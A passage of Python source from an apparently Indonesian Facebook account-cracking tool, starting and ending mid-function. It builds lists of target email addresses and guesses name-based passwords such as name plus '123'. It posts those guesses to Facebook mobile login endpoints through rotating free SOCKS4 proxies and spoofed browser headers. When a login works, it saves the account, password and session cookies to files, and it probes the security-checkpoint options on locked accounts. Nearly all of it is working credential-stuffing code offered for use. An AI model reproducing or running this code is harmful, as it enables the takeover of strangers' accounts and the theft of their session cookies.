- open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ M TOUCH ASYINC ]----------#
- def cracking05(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["ð","ð","ðĪŠ"])
- prog.update(des,description=f"\r {emot} MBF 05 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=923560728108869&kid_directed_site=0&app_id=923560728108869&signed_next=1&next=https%3A%2F%2F{url}%2Fv4.0%2Fdialog%2Foauth%3Fclient_id%3D923560728108869%26redirect_uri%3Dhttps%253A%252F%252Fm.vidio.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Dpublic_profile%252C%2Bemail%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D1a6e89e0-aa8e-44c6-94a8-64fac35ccaec%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
- link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=923560728108869&kid_directed_site=0&app_id=923560728108869&signed_next=1&next=https%3A%2F%2F{url}%2Fv4.0%2Fdialog%2Foauth%3Fclient_id%3D923560728108869%26redirect_uri%3Dhttps%253A%252F%252Fm.vidio.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Dpublic_profile%252C%2Bemail%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D1a6e89e0-aa8e-44c6-94a8-64fac35ccaec%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
- date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
- 'had_cp_prefilled': 'false',
- 'had_password_prefilled': 'false',
- 'is_smart_lock': 'true',
- 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "__dyn": "",
- "__csr": "",
- "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
- "__a": "",
- "__user": "0",
- "_fb_noscript": "true"}
- head = {"Host": url,
- "content-length": f"{len(str(date))}",
- "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
- "sec-ch-ua-mobile": "?1",
- "user-agent": ua,
- "viewport-width": f"str(rr(400,989)",
- "content-type": "application/x-www-form-urlencoded",
- "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
- "x-asbd-id": "129477",
- "x-requested-with": "com.android.chrome",
- "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
- "sec-ch-prefers-color-scheme": "light",
- "sec-ch-ua-platform": '"Android"',
- "accept": "*/*",
- "origin": "https://"+url,
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "cors",
- "sec-fetch-dest": "empty",
- "referer": ref,
- "accept-encoding": "gzip, deflate, br",
- "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
- links = rc([f"https://{url}/login/device-based/login/async/?api_key=923560728108869&auth_token=22b3b381d95e58db81eb5262d3192248&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv4.0%2Fdialog%2Foauth%3Fclient_id%3D923560728108869%26redirect_uri%3Dhttps%253A%252F%252Fm.vidio.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Dpublic_profile%252C%2Bemail%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D1a6e89e0-aa8e-44c6-94a8-64fac35ccaec%26tp%3Dunspecified&refsrc=deprecated&app_id=923560728108869&cancel=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%23_%3D_&lwv=100"])
- po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
- if "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- kukis = kuki.replace(f'c_user={idf};datr','sb')
- tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ MOBILE REGULER ]----------#
- def cracking06(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["ð","ð","ðĪŠ"])
- prog.update(des,description=f"\r {emot} MBF 06 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- ses.headers.update({"Host":url,
- "upgrade-insecure-requests":"1",
- "user-agent":ua,
- "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9",
- "dnt":f"{str(rr(1,9))}",
- "x-requested-with":"mark.via.gp",
- "sec-fetch-site":"same-origin",
- "sec-fetch-mode":"cors",
- "sec-fetch-user":"empty",
- "sec-fetch-dest":"document",
- "referer":f"https://{url}/",
- "accept-encoding":"gzip, deflate br",
- "accept-language":"en-GB,en-US;q=0.9"})
- link = ses.get('https://m.facebook.com/login/?email='+idf).text
- date = {'lsd':re.search('name="lsd" value="(.*?)"', str(link)).group(1),'jazoest':re.search('name="jazoest" value="(.*?)"', str(link)).group(1),'m_ts':re.search('name="m_ts" value="(.*?)"', str(link)).group(1),
- 'li':re.search('name="li" value="(.*?)"', str(link)).group(1),'email':idf,'pass':pw}
- ses.headers.update({'Host': url,
- 'cache-control': 'max-age=0',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://'+url,
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': 'empty',
- 'sec-fetch-dest': 'document',
- 'referer': f'https://{url}/login/?email='+idf,
- 'accept-encoding':'gzip, deflate br',
- 'accept-language':'en-GB,en-US;q=0.9'})
- links = rc([f"https://{url}/login/login/device-based/regular/login/?shbl=1&refsrc=deprecated"])
- po = ses.post(links,data=date,allow_redirects=False,proxies=proxs)
- if "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- kukis = kuki.replace(f'c_user={idf};datr','sb')
- tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ CEK-OPSI ]----------#
- def ceker(idf,pw):
- global cp
- rc = random.choice
- url = rc(["mbasic.facebook.com"])
- head = (
- {
- "Host": url,
- "cache-control": "max-age=0",
- "upgrade-insecure-requests": "1",
- "origin": "https://"+url,
- "content-type": "application/x-www-form-urlencoded",
- "user-agent": "Mozilla/5.0 (Linux; Android 10; DOOGEE B10 Build/KOTG49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36",
- "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
- "x-requested-with": "mark.via.gp",
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "navigate",
- "sec-fetch-user": "?1",
- "sec-fetch-dest": "document",
- "referer": f"https://{url}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F",
- "accept-encoding": "gzip, deflate",
- "accept-language": "fr_FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
- }
- )
- ses = requests.Session()
- try:
- hi = ses.get('https://'+url)
- kontol = sop(ses.post(
- 'https://'+url+'/login.php',
- data={
- 'email':idf,
- 'pass':pw,
- 'login':'submit'
- },headers=head, allow_redirects=True).text,'html.parser')
- jo = kontol.find(
- 'form'
- )
- data = {}
- lion = [
- 'nh',
- 'jazoest',
- 'fb_dtsg',
- 'submit[Continue]',
- 'checkpoint_data'
- ]
- for anj in jo('input'):
- if anj.get('name') in lion:
- data.update({anj.get('name'):anj.get('value')})
- kent = sop(ses.post('https://'+url+str(jo['action']), data=data, headers=head).text,'html.parser')
- opsi = kent.find_all('option')
- if len(opsi)==0:
- tree = Tree("")
- tree.add(Panel.fit(f"%sTapyes / A2f ( cek di mbasic )"%(H2),style=f"#AAAAAA"))
- prints(tree)
- #open('MBF-CP/'+'MBF-Tapyes.txt','a').write(idf+'|'+pw+'|'+'\n')
- #cp+=1
- else:
- for opsii in opsi:
- print('\r%s---> %s%s'%(kk,opsii.text,x))
- except Exception as c:
- tree = Tree("")
- tree.add(Panel.fit(f"%sSpam IP Tidak Dapat Cek Opsi Checkpoint"%(M2),style=f"#AAAAAA"))
- prints(tree)
- #open('MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'|'+'\n')
- #cp+=1
- #----------[ CRACK-EMAIL ]----------#
- def MBF_EMAIL():
- rc = random.choice
- rr = random.randint
- xc = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek"," tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
- blk = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek"," tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
- global ok , cp
- prints(Panel(f"%s HAY KAK SILAKAN MASUKAN SATU USERNAME DI BAWAH INI "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
- nama = console.input(f'[âĒ] USERNAME : ')
- if ',' in str(nama):
- prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- time.sleep(3)
- MBF_MENU()
- prints(Panel(f"%s HAY KAK SILAKAN MASUKAN TOTAL TARGET EMAIL DI BAWAH INI"%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- jumlah = console.input(f'[âĒ] TOTAL : ')
- for xyz in range(int(jumlah)):
- A = nama
- B = f'{str(rc(xc))}',f'{str(rr(0,999999999))}',f'{str(rc(blk))}'f'{str(rc(xc))}{str(rr(0,999999999))}',f'{xyz}',f'{str(rc(blk))}{str(rr(0,999999999))}',f'{str(rc(xc))}{str(rc(blk))}'
- C = f'@gmail.com'
- D = f'{A}{str(rc(B))}{C}'
- if D in id:pass
- else:id.append(D+'|'+nama)
- if len(dump)==999999:setting()
- prints(Panel(f"\r TOTAL AKUN : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
- time.sleep(0.0000003)
- print("\r")
- atur_idx()
- #----------[ MENU-IDZ ]----------#
- def atur_idx():
- rr = random.randint
- for khusus_random in id:
- cyxieon_id = rr(0,len(id2))
- id2.insert(cyxieon_id, khusus_random)
- user_agentx()
- #----------[ USER-AGENT ]----------#
- def user_agentx():
- prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- uatambah = input(f'[âĒ] PILIH : ')
- if uatambah in ['y','Ya','ya','Y']:
- uadia.append('ya')
- prints(Panel(f"%s HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
- mantap = input(f'[âĒ] UA TAMBAH : ')
- uamu.append(mantap)
- else:
- uadia.append('no')
- passwordx()
- #----------[ PASSWORD]----------#
- def passwordx():
- prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- passwtamb = input(f'[âĒ] PILIH : ')
- if passwtamb in ['y','Y']:
- sandine.append('ya')
- prints(Panel(f"%s HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH "%(P2),width=80,padding=(0,9),style=f"#AAAAAA"))
- sandiku = input(f'[âĒ] MASUKAN PW : ')
- sandimu = sandiku.split(',')
- for sandixnxx in sandimu:
- sandina.append(sandixnxx)
- else:
- sandine.append('no')
- otomatisx()
- #----------[ WORDLIST ]----------#
- def otomatisx():
- global prog,des
- prints(Panel(f"%s HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
- prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id2))
- with prog:
- with tred(max_workers=30) as pool:
- for akun in id2:
- idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
- depan = nama.split(" ")[0]
- pwx = []
- if len(nama)<=5:
- if len(depan)<=1 or len(depan)<=2:
- pass
- else:
- pwx.append(depan+"123")
- pwx.append(depan+"1234")
- pwx.append(depan+"12345")
- else:
- if len(depan)<=1 or len(depan)<=2:
- try:
- tengah = nama.split(" ")[1]
- if len(tengah)<=3:
- pass
- else:
- pwx.append(tengah+"123")
- pwx.append(tengah+"1234")
- pwx.append(tengah+"12345")
- pwx.append(nama)
- except:
- try:
- belakang = nama.split(' ')[2]
- if len(belakang)<=3:pass
- else:
- pwx.append(belakang+"123")
- pwx.append(belakang+"1234")
- pwx.append(belakang+"12345")
- pwx.append(nama)
- except:
- pwx.append(nama)
- else:
- pwx.append(nama)
- pwx.append(depan+"123")
- pwx.append(depan+"1234")
- pwx.append(depan+"12345")
- pwx.append(depan+"321")
- if '><asyinc><' in method:
- pool.submit(crack,idf,pwx,'m.facebook.com')
- else:
- pool.submit(crack,idf,pwx,'m.facebook.com')
- tree = Tree(Panel.fit(f"\r%sCrack Telah Selesai Dengan Jumlah%s OK : {ok} %sDan Jumlah%s CP:{cp}%s"%(P2,H2,P2,K2,P2),style=f"#AAAAAA"))
- tree.add(Panel.fit(f"\r%sApakah Ingin Lanjut Crack Kembali (y/t)"%(P2),style=f"#AAAAAA"))
- prints(tree)
- gas = input(f"[âĒ] PILIH : ")
- if gas in ['y','Y','ya','Ya']:
- MBF_MENU()
- else:
- tree = Tree("")
- tree.add(Panel.fit(f"\r%sGood Byee Jangan Lupa Bersyukur Dengan Hasilnya"%(K2),style=f"#AAAAAA"))
- prints(tree)
- time.sleep(2)
- exit()
- #----------[ MOBILE ASYINC ]----------#
- def crack(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["ð","ð","ðĪŠ"])
- prog.update(des,description=f"\r {emot} Cracking ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
- link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
- date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
- 'had_cp_prefilled': 'false',
- 'had_password_prefilled': 'false',
- 'is_smart_lock': 'true',
